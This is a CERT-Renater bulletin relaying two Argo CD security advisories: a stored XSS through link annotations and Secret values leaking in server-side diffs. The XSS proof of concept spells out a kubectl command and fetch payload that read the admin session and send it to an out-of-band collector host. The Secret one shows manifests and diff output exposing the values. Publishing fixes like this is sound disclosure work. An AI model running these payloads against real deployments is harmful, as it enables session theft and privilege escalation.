Ce mail provient de l'extérieur, restons vigilants
=====================================================================
CERT-Renater
Note d'Information No. 2026/VULN518
_____________________________________________________________________
DATE : 19/05/2026
HARDWARE PLATFORM(S): /
OPERATING SYSTEM(S): Systems running argo-cd versions prior to 3.2.12,
3.3.10, 3.4.2.
=====================================================================
https://github.com/argoproj/argo-cd/security/advisories/GHSA-h98r-wv3h-fr38
https://github.com/argoproj/argo-cd/security/advisories/GHSA-rg3g-4rw9-gqrp
_____________________________________________________________________
Stored XSS in application link annotations enables developer-to-admin
privilege escalation
High
crenshaw-dev published GHSA-h98r-wv3h-fr38 May 13, 2026
Package
github.com/argoproj/argo-cd (Go)
Affected versions
< 3.0.0
Patched versions
3.2.12, 3.3.10, 3.4.2
Description
Summary
A user with application write access (developer role) can set
link.argocd.argoproj.io/* annotations on any ArgoCD Application.
These annotation values are rendered in the Summary tab's URLs
section as elements without URL validation. Using the
pipe-separator trick (Display Text | javascript:...), an
attacker can inject a javascript: URI while displaying a
legitimate-looking label (e.g. GitHub Repo). When a
higher-privileged user (admin) clicks the link, arbitrary
JavaScript executes in the ArgoCD origin context in the admin's
authenticated session context, enabling API exfiltration and
privilege escalation from developer to admin.
Details
Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277
const parts = (url || '').split('|');
1 ? parts[1] : parts[0]} target='_blank'>
{parts[0]}
The annotation value is split on |. parts[0] becomes the visible
link label; parts[1] becomes the href. No call to isValidURL()
is made, unlike the protected ApplicationURLs component
(application-urls.tsx:72,80) which does validate URLs and
blocks javascript:. The target='_blank' opens a new tab that
inherits the ArgoCD origin, giving the injected script
same-origin fetch access to all ArgoCD APIs using the victim's
authenticated session (credentialed fetch() calls).
Root cause: React 16.x does not block javascript: URIs in href
attributes (this protection was added in React 19). The helper
isValidURL() exists in shared/utils.ts but is not applied to
this sink.
CSP: ArgoCD's default Content Security Policy is
frame-ancestors 'self' only — no script-src, no connect-src,
no default-src — providing zero XSS execution mitigation.
PoC
Prerequisites: Developer role with application write access
(e.g. RBAC: p, role:developer, applications, *, */*, allow).
Step 1 — Set malicious annotation as developer:
kubectl annotate application -n argocd \
'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https:///api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'
The URL section in the admin's Summary tab renders the link
as "GitHub Repo" — the javascript: payload is invisible in
the displayed text.
Step 2 — Admin opens Summary tab of the annotated application
and clicks the link.
Step 3 — JavaScript executes at the ArgoCD origin and
exfiltrates admin session data via out-of-band HTTP request.
Tested with Burp Collaborator:
// Payload used during testing (Burp Collaborator OOB):
fetch("https:///api/v1/session/userinfo", {credentials:"include"})
.then(r => r.json())
.then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))
Step 4 — Burp Collaborator received the OOB HTTP interaction
containing the base64-encoded admin session data. Decoded
response:
{"iss":"argocd","loggedIn":true,"username":"admin"}
Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.
Impact
Stored XSS — payload persists in the Kubernetes
Application resource until manually removed
Privilege escalation — developer role → admin session
hijacking via authenticated API calls
Maximum stealth — the injected link displays as any
attacker-chosen text; the javascript: href is never visible
to the victim
No server-side interaction required — purely client-side
exploit, no network egress needed for execution (exfiltration
uses no-cors fetch, bypassed by absent connect-src CSP)
Any admin or operator who views the Summary tab of the
compromised application is affected
Credits
Discovered and reported by Jan Kahmen (jan@turingpoint.de) — turingpoint.de
Severity
High
7.3/ 10
CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
CVE ID
CVE-2026-45738
Weaknesses
Weakness CWE-79
Credits
@kah-ja kah-ja Reporter
_____________________________________________________________________
Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive
annotations
Moderate
crenshaw-dev published GHSA-rg3g-4rw9-gqrp May 13, 2026
Package
github.com/argoproj/argo-cd/v3 (Go)
Affected versions
3.2.0 through 3.2.11, 3.3.9, and 3.4.1
Patched versions
3.2.12, 3.3.10, 3.4.2
Description
Summary
The original fix for GHSA-3v3m-wc6v-x4x3 is incomplete.
argocd app diff --server-side-diff can still expose Kubernetes Secret
values embedded in the kubectl.kubernetes.io/last-applied-configuration
annotation.
The prior fix masks top-level Secret data in ServerSideDiff responses,
but it does not fully sanitize Secret data stored inside the
last-applied-configuration annotation. If a Secret was previously
created or updated using client-side apply, that annotation may
contain raw data, stringData, and sensitive annotations. These values
can be shown in UI/CLI diffs.
Details
The ServerSideDiff endpoint returns ResourceDiff.TargetState / LiveState
based on server-side dry-run output. Kubernetes server-side dry-run can
return a full predicted live Secret object that carries forward
existing live annotations, including:
kubectl.kubernetes.io/last-applied-configuration
For Secrets created with client-side apply, that annotation can contain
a JSON-serialized Secret manifest with sensitive values.
The masking path calls HideSecretData(target, live, ...). However,
HideSecretData only rewrites the last-applied annotation on the
second argument (live). In server-side diff, the first argument can
be predictedLive, not a clean Git target. predictedLive can also
contain kubectl.kubernetes.io/last-applied-configuration, so the
first object’s embedded annotation can remain unmasked.
PoC
Create an app containing this Secret manifest:
apiVersion: v1
kind: Namespace
metadata:
name: last-applied-secret-repro
---
apiVersion: v1
kind: Secret
metadata:
name: secret
namespace: last-applied-secret-repro
annotations:
app: test
token: SECRETVAL
type: Opaque
data:
password: U0VDUkVUVkFM
username: U0VDUkVUVkFM
Create and Sync Argo App
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
name: last-applied-secret-repro
namespace: argocd
annotations:
argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
spec:
project: default
destination:
server: https://kubernetes.default.svc
namespace: last-applied-secret-repro
source:
repoURL: https://github.com/YOUR_ORG/YOUR_REPO.git
targetRevision: HEAD
path: last-applied-secret-repro
syncPolicy:
automated:
prune: true
selfHeal: true
syncOptions:
- CreateNamespace=true
- ServerSideApply=true
Run argo cd app diff
argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false
❯ argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false
===== /Secret last-applied-secret-repro/secret ======
10c10,11
< kubectl.kubernetes.io/last-applied-configuration: '{"apiVersion":"v1","data":{"password":"++++++++","username":"++++++++"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}'
---
> kubectl.kubernetes.io/last-applied-configuration: |
> {"apiVersion":"v1","data":{"password":"U0VDUkVUVkFM","username":"U0VDUkVUVkFM"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}
We can see secret value inside the diff
Impact
Authenticated Argo CD users who can view application diffs may be
able to read Secret values that should be masked.
Impacted values include:
Secret data embedded in kubectl.kubernetes.io/last-applied-configuration
Severity
Moderate
6.3/ 10
CVSS v3 base metrics
Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
CVE ID
CVE-2026-45737
Weaknesses
Weakness CWE-200
Weakness CWE-212
=========================================================
+ CERT-RENATER | tel : 01-53-94-20-44 +
+ 23/25 Rue Daviel | fax : 01-53-94-20-41 +
+ 75013 Paris | email:cert@support.renater.fr +
=========================================================